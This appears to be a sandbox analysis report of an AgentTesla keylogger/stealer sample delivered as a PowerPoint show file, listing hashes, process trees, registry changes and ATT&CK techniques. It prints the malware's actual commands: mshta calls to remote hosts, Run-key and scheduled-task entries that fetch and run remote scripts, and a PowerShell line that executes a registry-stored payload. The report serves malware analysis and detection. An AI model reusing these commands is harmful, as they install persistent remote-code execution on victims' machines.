agenttesla | 18b7a818fd88133d309ce7191e9c3eb85a3b31d0bbaf2c08df0f1cbdc26a7513

General

Target

PO944888299393.pps
Size

77KB
MD5

858604f0166fa58fe09e96988a87477c
SHA1

bed0b866c6b8cc1048153b22e96a51f464d6582b
SHA256

18b7a818fd88133d309ce7191e9c3eb85a3b31d0bbaf2c08df0f1cbdc26a7513
SHA512

d05a52ed607c6b96875428b8f3aa379c5460db17e6480e5bb3bfbdf0ba72fd895acb523b846413e99ca1d056a371462df94ca1556cd98ac2e1f0be1144da596d

Score

10^/10

agenttesla keylogger persistence spyware stealer trojan

Malware Config

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exepowershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	1076	4000	mshta.exe	POWERPNT.EXE
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2712	3352	powershell.exe

AgentTesla Payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2136-186-0x0000000000437D8E-mapping.dmp	family_agenttesla

Blocklisted process makes network request 17 IoCs

Processes:

mshta.exepowershell.exe

flow	pid	process
31	1076	mshta.exe
33	1076	mshta.exe
35	1076	mshta.exe
37	1076	mshta.exe
39	1076	mshta.exe
40	1076	mshta.exe
42	1076	mshta.exe
44	1076	mshta.exe
45	1076	mshta.exe
47	1076	mshta.exe
49	1076	mshta.exe
51	1076	mshta.exe
52	1076	mshta.exe
54	1076	mshta.exe
59	2712	powershell.exe
61	2712	powershell.exe
63	2712	powershell.exe

Drops file in Drivers directory 1 IoCs

Processes:

aspnet_compiler.exe

description ioc process

File opened for modification C:\Windows\system32\drivers\etc\hosts aspnet_compiler.exe

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	aspnet_compiler.exe

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

mshta.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\nunukhaoo = "\"mshta\"\"http://1230948%[email protected]/p/9.html\""	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\replcia = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell ((gp HKCU:\\Software).nasdnasndnad)\|IEX\"\", 0 : window.close\")"	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\DLESOLCRETSAM = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell ((gp HKCU:\\Software).MSOFFICELO)\|IEX\"\", 0 : window.close\")"	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\dkkkksakdosexography = "\"mshta\"\"http://1230948%[email protected]/p/9.html\""	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"mshta\"\"http://1230948%[email protected]/p/9.html\""	mshta.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2712 set thread context of 2136 2712 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3832 1076 WerFault.exe mshta.exe

description	pid	process	target process
PID 2712 set thread context of 2136	2712	powershell.exe	aspnet_compiler.exe

pid	pid_target	process	target process
3832	1076	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	POWERPNT.EXE

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

3620 schtasks.exe

pid	process
3620	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	POWERPNT.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	POWERPNT.EXE

Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

3532 taskkill.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

POWERPNT.EXE

pid process

4000 POWERPNT.EXE

pid	process
3532	taskkill.exe

pid	process
4000	POWERPNT.EXE

Suspicious behavior: EnumeratesProcesses 20 IoCs

Processes:

powershell.exeWerFault.exeaspnet_compiler.exe

pid	process
2712	powershell.exe
2712	powershell.exe
2712	powershell.exe
3832	WerFault.exe
3832	WerFault.exe
3832	WerFault.exe
3832	WerFault.exe
3832	WerFault.exe
3832	WerFault.exe
3832	WerFault.exe
3832	WerFault.exe
3832	WerFault.exe
3832	WerFault.exe
3832	WerFault.exe
3832	WerFault.exe
3832	WerFault.exe
3832	WerFault.exe
3832	WerFault.exe
2136	aspnet_compiler.exe
2136	aspnet_compiler.exe

Suspicious use of AdjustPrivilegeToken 46 IoCs

Processes:

powershell.exetaskkill.exeWerFault.exeaspnet_compiler.exe

description	pid	process
Token: SeDebugPrivilege	2712	powershell.exe
Token: SeDebugPrivilege	3532	taskkill.exe
Token: SeIncreaseQuotaPrivilege	2712	powershell.exe
Token: SeSecurityPrivilege	2712	powershell.exe
Token: SeTakeOwnershipPrivilege	2712	powershell.exe
Token: SeLoadDriverPrivilege	2712	powershell.exe
Token: SeSystemProfilePrivilege	2712	powershell.exe
Token: SeSystemtimePrivilege	2712	powershell.exe
Token: SeProfSingleProcessPrivilege	2712	powershell.exe
Token: SeIncBasePriorityPrivilege	2712	powershell.exe
Token: SeCreatePagefilePrivilege	2712	powershell.exe
Token: SeBackupPrivilege	2712	powershell.exe
Token: SeRestorePrivilege	2712	powershell.exe
Token: SeShutdownPrivilege	2712	powershell.exe
Token: SeDebugPrivilege	2712	powershell.exe
Token: SeSystemEnvironmentPrivilege	2712	powershell.exe
Token: SeRemoteShutdownPrivilege	2712	powershell.exe
Token: SeUndockPrivilege	2712	powershell.exe
Token: SeManageVolumePrivilege	2712	powershell.exe
Token: 33	2712	powershell.exe
Token: 34	2712	powershell.exe
Token: 35	2712	powershell.exe
Token: 36	2712	powershell.exe
Token: SeIncreaseQuotaPrivilege	2712	powershell.exe
Token: SeSecurityPrivilege	2712	powershell.exe
Token: SeTakeOwnershipPrivilege	2712	powershell.exe
Token: SeLoadDriverPrivilege	2712	powershell.exe
Token: SeSystemProfilePrivilege	2712	powershell.exe
Token: SeSystemtimePrivilege	2712	powershell.exe
Token: SeProfSingleProcessPrivilege	2712	powershell.exe
Token: SeIncBasePriorityPrivilege	2712	powershell.exe
Token: SeCreatePagefilePrivilege	2712	powershell.exe
Token: SeBackupPrivilege	2712	powershell.exe
Token: SeRestorePrivilege	2712	powershell.exe
Token: SeShutdownPrivilege	2712	powershell.exe
Token: SeDebugPrivilege	2712	powershell.exe
Token: SeSystemEnvironmentPrivilege	2712	powershell.exe
Token: SeRemoteShutdownPrivilege	2712	powershell.exe
Token: SeUndockPrivilege	2712	powershell.exe
Token: SeManageVolumePrivilege	2712	powershell.exe
Token: 33	2712	powershell.exe
Token: 34	2712	powershell.exe
Token: 35	2712	powershell.exe
Token: 36	2712	powershell.exe
Token: SeDebugPrivilege	3832	WerFault.exe
Token: SeDebugPrivilege	2136	aspnet_compiler.exe

Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

POWERPNT.EXEmshta.exeaspnet_compiler.exe

pid process

4000 POWERPNT.EXE
4000 POWERPNT.EXE
1076 mshta.exe
2136 aspnet_compiler.exe

pid	process
4000	POWERPNT.EXE
4000	POWERPNT.EXE
1076	mshta.exe
2136	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 14 IoCs

Processes:

POWERPNT.EXEmshta.exepowershell.exe

description	pid	process	target process
PID 4000 wrote to memory of 1076	4000	POWERPNT.EXE	mshta.exe
PID 4000 wrote to memory of 1076	4000	POWERPNT.EXE	mshta.exe
PID 1076 wrote to memory of 3620	1076	mshta.exe	schtasks.exe
PID 1076 wrote to memory of 3620	1076	mshta.exe	schtasks.exe
PID 1076 wrote to memory of 3532	1076	mshta.exe	taskkill.exe
PID 1076 wrote to memory of 3532	1076	mshta.exe	taskkill.exe
PID 2712 wrote to memory of 2136	2712	powershell.exe	aspnet_compiler.exe
PID 2712 wrote to memory of 2136	2712	powershell.exe	aspnet_compiler.exe
PID 2712 wrote to memory of 2136	2712	powershell.exe	aspnet_compiler.exe
PID 2712 wrote to memory of 2136	2712	powershell.exe	aspnet_compiler.exe
PID 2712 wrote to memory of 2136	2712	powershell.exe	aspnet_compiler.exe
PID 2712 wrote to memory of 2136	2712	powershell.exe	aspnet_compiler.exe
PID 2712 wrote to memory of 2136	2712	powershell.exe	aspnet_compiler.exe
PID 2712 wrote to memory of 2136	2712	powershell.exe	aspnet_compiler.exe

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /s "C:\Users\Admin\AppData\Local\Temp\PO944888299393.pps" /ou ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4000
- C:\Windows\SYSTEM32\mshta.exe
  mshta http://www.j.mp/djaksldqowdihjdam
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Adds Run key to start application
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1076
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""WIND0WSUPLATE"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta http://1230948%[email protected]/p/9.html""\"", 0 : window.close"\")
    3⤵
    - Creates scheduled task(s)
    PID:3620
- - C:\Windows\System32\taskkill.exe
    "C:\Windows\System32\taskkill.exe" /f /im Excel.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3532
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 1076 -s 3064
    3⤵
    - Program crash
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3832

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -noexit ((gp HKCU:\Software).MSOFFICELO)|IEX
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2712
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
  #cmd
  2⤵
  - Drops file in Drivers directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:2136

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Registry Run Keys / Startup Folder

Scheduled Task

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1076-179-0x0000000000000000-mapping.dmp

Download
memory/2136-187-0x0000000004FD0000-0x0000000004FD1000-memory.dmp

Filesize
4KB

Download
memory/2136-186-0x0000000000437D8E-mapping.dmp

Download
memory/2712-185-0x0000015DF7F78000-0x0000015DF7F79000-memory.dmp

Filesize
4KB

Download
memory/2712-184-0x0000015DF7F76000-0x0000015DF7F78000-memory.dmp

Filesize
8KB

Download
memory/2712-182-0x0000015DF7F73000-0x0000015DF7F75000-memory.dmp

Filesize
8KB

Download
memory/2712-181-0x0000015DF7F70000-0x0000015DF7F72000-memory.dmp

Filesize
8KB

Download
memory/3532-183-0x0000000000000000-mapping.dmp

Download
memory/3620-180-0x0000000000000000-mapping.dmp

Download
memory/4000-123-0x00007FFAA3B80000-0x00007FFAA5A75000-memory.dmp

Filesize
31.0MB

Download
memory/4000-122-0x0000029C4AB90000-0x0000029C4BC7E000-memory.dmp

Filesize
16.9MB

Download
memory/4000-118-0x00007FFAAB2C0000-0x00007FFAACE9D000-memory.dmp

Filesize
27.9MB

Download
memory/4000-114-0x00007FFA892C0000-0x00007FFA892D0000-memory.dmp

Filesize
64KB

Download
memory/4000-119-0x00007FFA892C0000-0x00007FFA892D0000-memory.dmp

Filesize
64KB

Download
memory/4000-117-0x00007FFA892C0000-0x00007FFA892D0000-memory.dmp

Filesize
64KB

Download
memory/4000-116-0x00007FFA892C0000-0x00007FFA892D0000-memory.dmp

Filesize
64KB

Download
memory/4000-115-0x00007FFA892C0000-0x00007FFA892D0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads